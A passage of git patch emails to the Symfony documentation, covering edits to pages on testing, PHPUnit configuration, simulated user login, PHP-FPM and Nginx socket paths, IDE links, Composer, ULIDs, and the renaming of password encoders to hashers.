-    the :doc:`Crawler </components/dom_crawler>`.
-
 Response Assertions
 ...................
 

From f513b5dc28cff2d311e7c4e9c52ddfd5d922bd52 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 2 May 2021 14:39:00 +0200
Subject: [PATCH 2157/7107] Remove docs on PHPUnit configuration

---
 testing.rst | 74 ++++-------------------------------------------------
 1 file changed, 5 insertions(+), 69 deletions(-)

diff --git a/testing.rst b/testing.rst
index ea9eab12251..0a56a81faf7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -34,7 +34,10 @@ PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
 the ``tests/`` directory of your application.
 
 PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-application.
+application. The default configuration provided by Symfony Flex will be
+enough in most cases. Read the `PHPUnit documentation`_ to discover all
+possible configuration options (e.g. to enable code coverage or to split
+your test into multiple "test suites").
 
 .. note::
 
@@ -931,73 +934,6 @@ Mailer Assertions
     * testing javascript
     * UX or form collections as example?
 
-PHPUnit Configuration
----------------------
-
-Each application has its own PHPUnit configuration, stored in the
-``phpunit.xml.dist`` file. You can edit this file to change the defaults or
-create a ``phpunit.xml`` file to set up a configuration for your local machine
-only.
-
-.. tip::
-
-    Store the ``phpunit.xml.dist`` file in your code repository and ignore
-    the ``phpunit.xml`` file.
-
-By default, only the tests stored in ``tests/`` are run via the ``phpunit`` command,
-as configured in the ``phpunit.xml.dist`` file:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <directory>tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-But you can add more directories. For instance, the following
-configuration adds tests from a custom ``lib/tests`` directory:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <!-- ... -->
-                <directory>lib/tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-To include other directories in the `code coverage analysis`_, also edit the
-``<filter>`` section:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <filter>
-            <whitelist>
-                <!-- ... -->
-                <directory>lib</directory>
-                <exclude>
-                    <!-- ... -->
-                    <directory>lib/tests</directory>
-                </exclude>
-            </whitelist>
-        </filter>
-        <!-- ... -->
-    </phpunit>
-
 Learn more
 ----------
 
@@ -1012,11 +948,11 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
-.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 649dd43462a6ba3ed9d50757efa3c576999e2362 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:30:49 +0200
Subject: [PATCH 2158/7107] Minor typo fix

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 51544d0c3e0..442f7b60143 100644
--- a/testing.rst
+++ b/testing.rst
@@ -876,7 +876,7 @@ Crawler Assertions
     equal the expected value.
 ``assertCheckboxChecked(string $fieldName, string $message = '')``/``assertCheckboxNotChecked(string $fieldName, string $message = '')``
     Asserts that the checkbox with the given name is (not) checked.
-``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')`` and ``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
+``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')``/``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 

From 1a94e637609b7f48696039babcb679c50195a59f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:31:29 +0200
Subject: [PATCH 2159/7107] Restored a section wrongly removed while upmerging

---
 testing.rst | 59 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/testing.rst b/testing.rst
index b523c263c7b..738245ffaac 100644
--- a/testing.rst
+++ b/testing.rst
@@ -567,6 +567,65 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+.. _testing_logging_in_users:
+
+Logging in Users (Authentication)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``loginUser()`` method was introduced in Symfony 5.1.
+
+When you want to add application tests for protected pages, you have to
+first "login" as a user. Reproducing the actual steps - such as
+submitting a login form - make a test very slow. For this reason, Symfony
+provides a ``loginUser()`` method to simulate logging in in your functional
+tests.
+
+Instead of logging in with real users, it's recommended to create a user only for
+tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
+to load the testing users only in the test database.
+
+After loading users in your database, use your user repository to fetch
+this user and use
+:method:`$client->loginUser() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser>`
+to simulate a login request::
+
+    // tests/Controller/ProfileControllerTest.php
+    namespace App\Tests\Controller;
+
+    use App\Repository\UserRepository;
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class ProfileControllerTest extends WebTestCase
+    {
+        // ...
+
+        public function testVisitingWhileLoggedIn()
+        {
+            $client = static::createClient();
+            $userRepository = static::$container->get(UserRepository::class);
+
+            // retrieve the test user
+            $testUser = $userRepository->findOneByEmail('john.doe@example.com');
+
+            // simulate $testUser being logged in
+            $client->loginUser($testUser);
+
+            // test e.g. the profile page
+            $client->request('GET', '/profile');
+
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello John!');
+        }
+    }
+
+You can pass any
+:class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to
+``loginUser()``. This method creates a special
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
+stores in the session of the test client.
+
 Making AJAX Requests
 ....................
 

From ad63bc4c46530fd3614438761e0fb5921192e103 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:34:20 +0200
Subject: [PATCH 2160/7107] Readd loginUser() docs

---
 testing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d22d25256db..1e738fe395d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -617,7 +617,6 @@ to simulate a login request::
 
             // test e.g. the profile page
             $client->request('GET', '/profile');
-
             $this->assertResponseIsSuccessful();
             $this->assertSelectorTextContains('h1', 'Hello John!');
         }

From 0bd963f9876099bb04da2cbec2e22bc260716ca0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:35:46 +0200
Subject: [PATCH 2161/7107] Fix CI

---
 testing.rst             | 1 -
 testing/dom_crawler.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 1e738fe395d..ac92f8afda4 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1008,6 +1008,5 @@ Learn more
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 9a98ee95aeb..7b47487d09f 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -92,7 +92,3 @@ The Crawler can extract information from the nodes::
     $data = $crawler->each(function ($node, $i) {
         return $node->attr('href');
     });
-
-.. versionadded:: 4.4
-
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.

From d224e0d74e9a9eb96db5498cffd146512f8d50ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 13:07:41 +0200
Subject: [PATCH 2162/7107] Fixed RST issues spotted by DOCtor-RST

---
 testing.rst             | 1 -
 testing/dom_crawler.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index d22d25256db..68c952556bc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1009,6 +1009,5 @@ Learn more
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 9a98ee95aeb..7b47487d09f 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -92,7 +92,3 @@ The Crawler can extract information from the nodes::
     $data = $crawler->each(function ($node, $i) {
         return $node->attr('href');
     });
-
-.. versionadded:: 4.4
-
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.

From 52d03078d0c93db314ce1bd01bc57b870eb07f9d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 May 2021 23:20:25 +0200
Subject: [PATCH 2163/7107] Updating to PHP 7.4

---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 98583041df9..70abd214a42 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -177,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.1-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -192,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.1-fpm.sock
+    listen = /var/run/php/php7.4-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -290,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.1-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -318,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 

From 7f580b791d5eec393fdb225b1388cdbd2be54783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:11:57 +0200
Subject: [PATCH 2164/7107] [FrameworkBundle] Document env vars in
 framework.ide

---
 reference/configuration/framework.rst | 50 ++++++++++++++++++++++++---
 1 file changed, 46 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0ca87286119..d45f35dc742 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -461,10 +461,52 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. This can be done by setting the
-``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
-format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them:
+feature is to configure it on a system level. First, you can set its value to
+some environment variable that stores the name of the IDE/editor:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            ide: '%env(resolve:CODE_EDITOR)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
+            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            $framework->ide('%env(resolve:CODE_EDITOR)%');
+        };
+
+.. versionadded:: 5.3
+
+    The option to use env vars in the ``framework.ide`` option was introduced
+    in Symfony 5.3.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
 
 .. code-block:: ini
 

From 57f0d8222a7ecaf76a62c2f556251a9982fc6184 Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Thu, 6 May 2021 13:34:53 +0300
Subject: [PATCH 2165/7107] remove unused inc file

---
 setup/_vendor_deps.rst.inc | 59 --------------------------------------
 1 file changed, 59 deletions(-)
 delete mode 100644 setup/_vendor_deps.rst.inc

diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc
deleted file mode 100644
index 58f582be681..00000000000
--- a/setup/_vendor_deps.rst.inc
+++ /dev/null
@@ -1,59 +0,0 @@
-Managing Vendor Libraries with ``composer.json``
-------------------------------------------------
-
-How Does it Work?
-~~~~~~~~~~~~~~~~~
-
-Every Symfony project uses a group of third-party "vendor" libraries. One
-way or another the goal is to download these files into your ``vendor/``
-directory and, ideally, to give you some sane way to manage the exact version
-you need for each.
-
-By default, these libraries are downloaded by running a ``composer install``
-"downloader" binary. This ``composer`` file is from a library called `Composer`_
-and you can read more about :doc:`installing Composer globally </setup/composer>`.
-
-The ``composer`` command reads from the ``composer.json`` file at the root
-of your project. This is an JSON-formatted file, which holds a list of each
-of the external packages you need, the version to be downloaded and more.
-``composer`` also reads from a ``composer.lock`` file, which allows you to
-pin each library to an **exact** version. In fact, if a ``composer.lock``
-file exists, the versions inside will override those in ``composer.json``.
-To upgrade your libraries to new versions, run ``composer update``.
-
-.. tip::
-
-    If you want to add a new package to your application, run the composer
-    ``require`` command:
-
-    .. code-block:: terminal
-
-        $ composer require doctrine/doctrine-fixtures-bundle
-
-To learn more about Composer, see `GetComposer.org`_:
-
-It's important to realize that these vendor libraries are *not* actually part
-of *your* repository. Instead, they're un-tracked files that are downloaded
-into the ``vendor/``. But since all the information needed to download these
-files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored
-in the repository), any other developer can use the project, run ``composer install``,
-and download the exact same set of vendor libraries. This means that you're
-controlling exactly what each vendor library looks like, without needing to
-actually commit them to *your* repository.
-
-So, whenever a developer uses your project, they should run the ``composer install``
-script to ensure that all of the needed vendor libraries are downloaded.
-
-.. sidebar:: Upgrading Symfony
-
-    Since Symfony is just a group of third-party libraries and third-party
-    libraries are entirely controlled through ``composer.json`` and ``composer.lock``,
-    upgrading Symfony means simply upgrading each of these files to match
-    their state in the latest Symfony Standard Edition.
-
-    If you've added new entries to ``composer.json``, be sure
-    to replace only the original parts (i.e. be sure not to also delete any of
-    your custom entries).
-
-.. _Composer: https://getcomposer.org/
-.. _GetComposer.org: https://getcomposer.org/

From e8b682cc5ad791f73b3487d342d1375f9602044d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 6 May 2021 20:21:10 +0200
Subject: [PATCH 2166/7107] Fix link to Composer

By the way, I added a small change in the "Before You Start" section.
---
 create_framework/introduction.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index dfef9228e44..d3574de4c94 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -64,7 +64,7 @@ Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
 you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
-an understanding of Object Oriented programming.
+an understanding of Object Oriented Programming.
 
 Ready to go? Read on!
 
@@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to
 introduce the HttpFoundation Component and see what it brings us.
 
 .. _`Symfony`: https://symfony.com/
-.. _`Composer`: https//getcomposer.org/
+.. _`Composer`: https://getcomposer.org/
 .. _`download and install Composer`: https://getcomposer.org/download/

From f6826fa6affb294aa1de80fc118606add9b649cc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 7 May 2021 10:23:58 +0200
Subject: [PATCH 2167/7107] CI: Add new rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index af13fb7be61..76113397e68 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -8,6 +8,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From af9268451a696b0b28a73e15e06611c12fa864c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
Date: Fri, 7 May 2021 16:57:04 +0200
Subject: [PATCH 2168/7107] [Serializer] Fixed occurence of an old FQCN
 notation

---
 components/serializer.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0421561a1e0..bf39ee381f6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -174,6 +174,8 @@ when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` contex
 ``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
 when constructing the normalizer::
 
+    use App\Model\Person;
+
     $data = <<<EOF
     <person>
         <name>foo</name>
@@ -189,7 +191,7 @@ when constructing the normalizer::
 
     // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
     // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, 'App\Model\Person', 'xml', [
+    $person = $serializer->deserialize($data, Person::class, 'xml', [
         AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
     ]);
 

From 49b9310cebabc34519f6a9025661770644ee7750 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Fri, 7 May 2021 23:11:05 +0200
Subject: [PATCH 2169/7107] s/it's/its

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 74d986ed868..e698fd70290 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -163,7 +163,7 @@ like this:
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
-The configured property will be used via it's implemented getter/setter methods by the marking store::
+The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;

From ffef3e60567041169c523659151f4b8d317658b2 Mon Sep 17 00:00:00 2001
From: Kiel Goodman <kieljohn@users.noreply.github.com>
Date: Sat, 8 May 2021 14:44:25 +0100
Subject: [PATCH 2170/7107] Options node doesn't do anything

The array is passed directly into the Runtime $options so it's already available as $options['project_dir']
---
 components/runtime.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index cf11c81e60f..e7e14c8f2d2 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -316,9 +316,7 @@ You can also configure ``extra.runtime.options`` in ``composer.json``:
         },
         "extra": {
             "runtime": {
-                "options": {
-                    "project_dir": "/var/task"
-                }
+                "project_dir": "/var/task"
             }
         }
     }

From a6672e96d19447cca282a6edbf3f841a38530073 Mon Sep 17 00:00:00 2001
From: David Ward <dward@wevad.com>
Date: Thu, 6 May 2021 11:14:07 -0700
Subject: [PATCH 2171/7107] [Uid] Add note about ULIDs not being random in one
 case

---
 components/uid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 6a73666f511..f0bb06cc07c 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -209,6 +209,13 @@ ULIDs are an alternative to UUIDs when using those is impractical. They provide
 128-bit compatibility with UUID, they are lexicographically sortable and they
 are encoded as 26-character strings (vs 36-character UUIDs).
 
+.. note::
+
+    If you generate more than one ULID during the same millisecond in the
+    same process then the random portion is incremented by one bit in order
+    to provide monotonicity for sorting.  The random portion is **not**
+    random compared to the previous ULID in this case.
+
 Generating ULIDs
 ~~~~~~~~~~~~~~~~
 

From c7f60e15fc51df760ad6a419ea75be7534a01832 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 8 May 2021 15:46:58 +0200
Subject: [PATCH 2172/7107] Minor tweak

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index f0bb06cc07c..0e374cb1301 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -213,8 +213,8 @@ are encoded as 26-character strings (vs 36-character UUIDs).
 
     If you generate more than one ULID during the same millisecond in the
     same process then the random portion is incremented by one bit in order
-    to provide monotonicity for sorting.  The random portion is **not**
-    random compared to the previous ULID in this case.
+    to provide monotonicity for sorting. The random portion is not random
+    compared to the previous ULID in this case.
 
 Generating ULIDs
 ~~~~~~~~~~~~~~~~

From 1425b95a6eb4a8f8661dd3d18f1389c25f248b87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 17:39:07 +0200
Subject: [PATCH 2173/7107] [Security] Renamed encoders to password_hashers

---
 _build/redirection_map                        |   1 +
 components/security/authentication.rst        | 105 ++++++++--------
 reference/configuration/security.rst          | 116 ++++++++++--------
 security.rst                                  |  42 ++++---
 .../{named_encoders.rst => named_hashers.rst} |  66 +++++-----
 security/password_migration.rst               |  80 ++++++------
 security/user_provider.rst                    |  22 ++--
 7 files changed, 229 insertions(+), 203 deletions(-)
 rename security/{named_encoders.rst => named_hashers.rst} (72%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 68095fcf2b8..1069505a81a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -514,3 +514,4 @@
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/security/named_encoders /security/named_hashers
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 18b780b6d84..9cca9f18d9f 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -121,12 +121,12 @@ the given password is valid.
 
 This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
 It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 to create a hash of the password and returns an authenticated token if the
 password was valid::
 
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
     use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
@@ -145,14 +145,14 @@ password was valid::
     // for some extra checks: is account enabled, locked, expired, etc.
     $userChecker = new UserChecker();
 
-    // an array of password encoders (see below)
-    $encoderFactory = new EncoderFactory(...);
+    // an array of password hashers (see below)
+    $hasherFactory = new PasswordHasherFactoryInterface(...);
 
     $daoProvider = new DaoAuthenticationProvider(
         $userProvider,
         $userChecker,
         'secured_area',
-        $encoderFactory
+        $hasherFactory
     );
 
     $daoProvider->authenticate($unauthenticatedToken);
@@ -165,69 +165,76 @@ password was valid::
     It is also possible to let multiple user providers try to find the user's
     data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
 
-The Password Encoder Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _the-password-encoder-factory:
+
+The Password Hasher Factory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses an encoder factory to create a password encoder for a given type of
-user. This allows you to use different encoding strategies for different
-types of users. The default :class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory`
-receives an array of encoders::
+uses a factory to create a password hasher for a given type of user. This allows
+you to use different hashing strategies for different types of users.
+The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
+receives an array of hashers::
 
     use Acme\Entity\LegacyUser;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
-    use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
+    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
     use Symfony\Component\Security\Core\User\InMemoryUser;
 
-    $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
-    $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
+    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
+    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
 
-    $encoders = [
-        InMemoryUser::class => $defaultEncoder,
-        LegacyUser::class   => $weakEncoder,
+    $hashers = [
+        InMemoryUser::class => $defaultHasher,
+        LegacyUser::class   => $weakHasher,
         // ...
     ];
-    $encoderFactory = new EncoderFactory($encoders);
+    $hasherFactory = new PasswordHasherFactory($hashers);
 
-Each encoder should implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 or be an array with a ``class`` and an ``arguments`` key, which allows the
-encoder factory to construct the encoder only when it is needed.
+hasher factory to construct the hasher only when it is needed.
+
+.. _creating-a-custom-password-encoder:
 
-Creating a custom Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There are many built-in password encoders. But if you need to create your
+There are many built-in password hasher. But if you need to create your
 own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-   (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
 
 #. The implementations of
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
    and
